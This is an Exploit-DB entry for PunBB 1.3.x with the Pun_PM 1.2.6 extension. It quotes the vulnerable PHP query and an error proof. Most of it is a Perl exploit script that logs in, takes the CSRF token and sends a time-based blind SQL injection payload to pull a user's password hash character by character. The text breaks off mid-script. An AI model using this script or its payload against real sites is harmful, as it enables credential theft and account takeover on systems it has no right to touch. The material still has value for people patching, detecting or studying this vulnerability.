Exploit-DB #14483
Description: PunBB 1.3.4 / Pun_PM 1.2.6 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-07-27
Author: Dante90

Exploit:
#!/usr/bin/perl
# [0-Day] PunBB <= 1.3.* Package: Pun_PM <= v1.2.6 Remote Blind SQL Injection Exploit
# Author/s: Dante90, WaRWolFz Crew
# Created: 2009.07.30 after 0 days the bug was discovered.
# Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N.o.3.X, RingZero, s3rg3770, Shades Master, The:Paradox, V1R5, yeat
# Greetings To: _ nEmO _, XaDoS, Necrofiend, Lutor, vagabondo, hacku, yawn, The_Exploited, Shotokan-The Hacker, _mRkZ_,
#               Chuzz, init, plucky, SaRtE, Lupo
# Thanks For Testing: BlAcK HaT, l3d
# Web Site: www.warwolfz.org
# My Wagend (Dante90): dante90wwz.altervista.org
# Unit-X Project: www.unitx.net
# ----
# Why I've decided to publish this?
# Because in "Package: Pun_PM <= v1.2.9" the bug was fixed.
# ----
# DETAILS
# ./PunBB v1.3.*/extensions/pun_pm/functions.php
# LINES: 504 -> 526
#	function pun_pm_edit_message()
#	{
#		global $forum_db, $forum_user, $lang_pun_pm;
#
#		$errors = array();
#
#		// Verify input data
#		$query = array(
#			'SELECT'	=> 'm.id as id, m.sender_id as sender_id, m.status as status, u.username as username, m.subject as subject, m.body as body',
#			'FROM'		=> 'pun_pm_messages m',
#			'JOINS'		=> array(
#				array(
#					'LEFT JOIN'		=> 'users AS u',
#					'ON'			=> '(u.id = m.receiver_id)'
#				),
#			),
#			'WHERE'		=> 'm.id = '.$forum_db->escape($_GET['message_id']).' AND m.sender_id = '.$forum_user['id'].' AND m.deleted_by_sender = 0'
#		);
#
#		($hook = get_hook('pun_pm_fn_edit_message_pre_validate_query')) ? eval($hook) : null;
#
#		$result = $forum_db->query_build($query) or error(__FILE__, __LINE__);
# ----
# GET http://127.0.0.1/WaRWolFz/misc.php?section=pun_pm&pmpage=write&message_id=-1'
# Error - PunBB
# An error was encountered
# The error occurred on line 525 in ./WaRWolFz/extensions/pun_pm/functions.php
# Database reported: Errore di sintassi nella query SQL vicino a '\ AND m.sender_id = 2 AND m.deleted_by_sender = 0' linea 1 (Errno: 1064).

use strict;
use warnings;

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
use Time::HiRes;
use IO::Socket;

my ($UserName,$PassWord,$ID) = @ARGV;
if (@ARGV < 3) {
	&usage();
	exit();
}

my $Message = "";
my $Hash = "";
my ($Time,$Time_Start,$Time_End,$Response);
my ($Start,$End);
my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
my $Host = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link
my $Method = HTTP::Request->new(GET => $Host);
my $Cookies = new HTTP::Cookies;
my $HTTP = new LWP::UserAgent(
			agent => 'Mozilla/5.0',
			max_redirect => 0,
			cookie_jar => $Cookies,
		) or die $!;
my $Referrer = "http://www.warwolfz.org/";
my $DefaultTime = request($Referrer);

sub request {
	$Referrer = $_[0];
	$Method->referrer($Referrer);
	$Start = Time::HiRes::time();
	$Response = $HTTP->request($Method);
	$Response->is_success() or die "$Host : ", $Response->message,"\n";
	$End = Time::HiRes::time();
	$Time = $End - $Start;
	return $Time;
}

sub Blind_SQL_Jnjection {
	my ($dec,$hex) = @_;
	return "./misc.php?section=pun_pm&pmpage=write&message_id=-1 OR 1!=(SELECT IF((ASCII(SUBSTRING(`password`,${dec},1))=${hex}),benchmark(200000000,CHAR(0)),0) FROM `users` WHERE `id`=${ID})--";
}

sub Clear() {
	my $launch = $^O eq 'MSWin32' ? 'cls' : 'clear';
	return system($launch);
}

sub Login() {
	if ($ARGV[4] =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}?$/) {
		$Cookies->proxy(['http', 'ftp'], 'http://'.$ARGV[4]) or die $!;
	}
	my $Get = $HTTP->get($Host.'login.php');
	my $csrf_token = "";
	if ($Get->content =~ /type="hidden" name="csrf_token" value="([a-f0-9]{1,40})/i) { #ByPassing csrf_token hidden input
		$csrf_token = $1;
	}
	my $Login = $HTTP->post($Host.'login.php',
				[
					form_sent		=> '1',
					redirect_url	=> $Host.'login.php',
					csrf_token		=> $csrf_token,
					req_username	=> $UserName,
					req_password	=> $PassWord,
					save_pass		=> '1',
					login => 'Login',
				]) || die $!;

	if ($Login->content =~ /Verrai trasferito automaticamente ad una nuova pagina in 1 secondo/i) { #English Language: You should automatically be forwarded to a new page in 1 second.
		return 1;
	} else {
		return 0;
	}
}

sub usage {
	Clear();
	{
		print " \n [0-Day] PunBB <= 1.3.4 Package: Pun_PM <= v1.2.6 Remote Blind SQL Injection Exploit\n";
		print " ------------------------------------------------------ \n";
		print " * USAGE:                                             *\n";
		print " * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n";
		print " * perl name_exploit.pl [username] [password] [id]    *\n";
		print " * [proxy] is optional (ex: 151.57.4.97:8080)         *\n";
		print " ------------------------------------------------------ \n";
		print " *         Powered By Dante90, WaRWolFz Crew          *\n";
		print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
		print " ------------------------------------------------------ \n";
	};
	exit;
}

sub refresh {
	Clear();
	{
		print " \n [0-Day] PunBB <= 1.3.4 Package: Pun_PM <= v1.2.6 Remote Blind SQL Injection Exploit\n";
		print " ------------------------------------------------------ \n";
		print " * USAGE:                                             *\n";
		print " * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n";
		print " * perl name_exploit.pl [username] [password] [id]    *\n";
		print " * [proxy] is optional (ex: 151.57.4.97:8080)         *\n";
		print " ------------------------------------------------------ \n";
		print " *         Powered By Dante90, WaRWolFz Crew          *\n";
		print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
		print " ------------------------------------------------------ \n";
	};
	print $_[0] ."\n";
	print " * Victime Site: " . $_[1] . "\n";
	print " * Default Time: " . $_[2] . " seconds\n";
	print " * BruteForcing Hash: " . chr($chars[$_[3]]) . "\n";
	pr